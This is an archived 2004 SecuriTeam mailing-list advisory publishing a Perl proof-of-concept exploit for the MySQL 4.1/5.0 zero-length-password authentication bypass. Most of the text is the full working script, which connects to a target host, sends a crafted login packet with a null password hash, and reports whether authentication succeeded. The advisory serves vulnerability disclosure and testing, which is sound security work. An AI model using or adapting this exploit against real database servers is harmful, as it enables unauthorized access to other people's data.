

[EXPL] MySQL Authentication Bypass Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0023.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/07/04

To: list@securiteam.com

Date: 7 Jul 2004 19:18:44 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

MySQL Authentication Bypass Exploit

SUMMARY

The <<http://www.mysql.com/>> MySQL" database server is the world's most popular open source database."

An authentication vulnerability was reported in our previous article, '<http://www.securiteam.com/unixfocus/5BP0420DFQ.html>> MySQL Authentication Bypass', which allows a remote attack to connect to the vulnerable MySQL server and authenticate using a zero-length password. A proof-of-concept script has been provided that can help test the vulnerability against vulnerable servers.

DETAILS

Vulnerable Systems:

- * MySQL version 4.1.0 up to but not including MySQL version 4.1.3
- * MySQL version 5.0

Immune Systems:

- * MySQL version 4.1.3

The following Perl script can be used to test your version of MySQL. It will display the login packet sent to the server and it's reply:

Securiteam: [EXPL] MySQL Authentication Bypass Exploit

```
#!/usr/bin/perl
#
# The script connects to MySQL and attempts to log in using a zero-length
password
# Based on the vuln found by NGSSecurity
#
# Exploit copyright (c) 2004 by Eli Kara, Beyond Security
# <elik@beyondsecurity.com>
#
use strict;
use IO::Socket::INET;

usage() unless ((@ARGV >= 1) || (@ARGV <= 3));

my $username = shift(@ARGV);
my $host = shift(@ARGV);
if (!$host)
{
    usage();
}
my $port = shift(@ARGV);
if (!$port)
{
    $port = 3306; print "Using default MySQL port (3306)\n";
}

# create the socket
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,
PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

# receive greeting
my $reply;
recv($socket, $reply, 1024, 0);
if (length($reply) < 7)
{
    print "Not allowed to connect to MySQL!\n";
    exit(1);
}
print "Received greeting:\n";
HexDump($reply);
print "\n";

# here we define the login OK reply
# my $login_ok = "\x01\x00\x00\x02\xFE";

# break the username string into chars and rebuild it
my $binuser = pack("C*", unpack("C*", $username));

# send login caps packet with password
my $packet = "\x85\xa6".
```

Securiteam: [EXPL] MySQL Authentication Bypass Exploit

```
"\x03\x00\x00".
"\x00".
"\x00\x01\x08\x00\x00\x00". # capabilities, max packet, etc..

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00". $binuser. "\x00\x14\x00\x00\x00\x00". #
username and pword hash length + NULL hash

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; #
continue NULL hash

substr($packet, 0, 0) = pack("C1", length($packet)) . "\x00\x00\x01"; #
MySQL message length + packet number (1)

print "Sending caps packet:\n";
HexDump($packet);
print "\n";
send $socket, $packet, 0;

# receive reply
recv($socket, $reply, 1024, 0);
print "Received reply:\n";
HexDump($reply);

my @list_bytes = unpack("C*", $reply);

#print "The fifth byte is: ", $list_bytes[4], "\n";
if (length(@list_bytes) >= 4)
{
    print "Response insufficient\n";
}

#if ($reply eq $login_ok)
if ($list_bytes[4] == 0 || $list_bytes[4] == 254)
{
    print "Received OK reply, authentication successful!!\n";
}
else
{
    print "Authentication failed!\n";
}

# close
close($socket);

sub usage
{
    # print usage information
    print "\nUsage: mysql_auth_bypass_zeropass.pl <username> <host>
[port]\n
<username> – The DB username to authenticate as
```

Securiteam: [EXPL] MySQL Authentication Bypass Exploit

```
<host> – The host to connect to
[port] – The TCP port which MySQL is listening on (optional, default is
3306)\n\n";
    exit(1);
}
```

```
###
# do a hexdump of a string (assuming it's binary)
###
sub HexDump
{
    my $buffer = $_[0];

    # unpack it into chars
    my @up = unpack("C*", $buffer);
    my $pos=0;

    # calculate matrix sizes
    my $rows = int(@up/16);
    my $leftover = int(@up%16);

    for( my $row=0; $row < $rows ; $row++, $pos+=16)
    {
        printf("%08X\t", $pos);
        my @values = @up[$pos .. $pos+15];
        my @line;
        foreach my $val (@values)
        {
            push(@line, sprintf("%02X", $val));
        }
        print join(' ', @line), "\n";
    }
    # print last line
    printf("%08X\t", $pos);
    my @values = @up[$pos .. $pos+$leftover-1];
    my @line;
    foreach my $val (@values)
    {
        push(@line, sprintf("%02X", $val));
    }
    print join(' ', @line), "\n";
}
```

ADDITIONAL INFORMATION

The information has been provided by Eli Kara of
<<mailto:expert@securiteam.com>> SecuriTeam Experts.

=====

Securiteam: [EXPL] MySQL Authentication Bypass Exploit

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.